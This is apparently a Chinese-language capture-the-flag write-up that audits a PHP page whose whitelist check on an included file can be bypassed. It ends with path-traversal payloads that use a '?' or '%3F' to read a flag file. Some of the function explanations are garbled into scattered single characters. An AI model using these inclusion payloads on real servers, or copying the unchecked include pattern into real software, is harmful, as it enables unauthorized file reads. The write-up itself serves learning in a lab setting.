首先查询源代码,
发现目录中存在文件名,于是进入文件,进行查询得到PHP代码
代码审计
于是开始进行代码审计
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
传入变量名为file,首先变量不能为空,其次必须是字符串类型,然后便开始传入emmm类下的checkfile()方法,进行代码检测,如果检测通过,便可以进入file变量的目录中.
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
从上到下一句句分析,
if (! isset($page) || !is_string($page))
判断语句,isset( p a g e ) 判 断 传 进 的 变 量 已 经 设 置 , 且 不 为 N U L L , i s s t r i n g ( page)判断传进的变量已经设置,且不为NULL,is_string( page)判断传进的变量已经设置,且不为NULL,isstring(page)判断变量为字符串类型.
if (in_array($page, $whitelist))
判断,变量page在,数组whitelist中
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
mb_strpos(
a
,
a,
a,b)
变量后面一个变量,在前一个变量出现的位置.
mb_substr(
s
t
r
,
str,
str,start,
l
e
n
t
h
)
截
取
,
s
t
r
变
量
,
开
始
位
置
为
由
lenth) 截取,str变量,开始位置为由
lenth)截取,str变量,开始位置为由start设置,截取长度为
l
e
n
t
h
设
置
.
返
回
结
果
返
回
到
lenth设置.返回结果返回到
lenth设置.返回结果返回到_page中
if (in_array($_page, $whitelist)) {
return true;
}
与上一个一样,只不过变量换为了$_page
$_page = urldecode($page);
p a g e 的 值 为 经 过 u r l 解 码 的 _page的值为经过url解码的 page的值为经过url解码的page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
与上一个类似,不在赘述.
构造payload
进入hint,php我们可以看到
基于第二个 return true 我们可以构造的payload为
source.php?file=source.php?/../../../../../../../../ffffllllaaaagggg
其中返回上级目录完全是不断尝试.
基于第二个,需要经过url解码因此我们需要先知道?的url编码是什么, ?的url编码为%3F,payload为
source.php?file=source.php%3F/../../../../../../../../ffffllllaaaagggg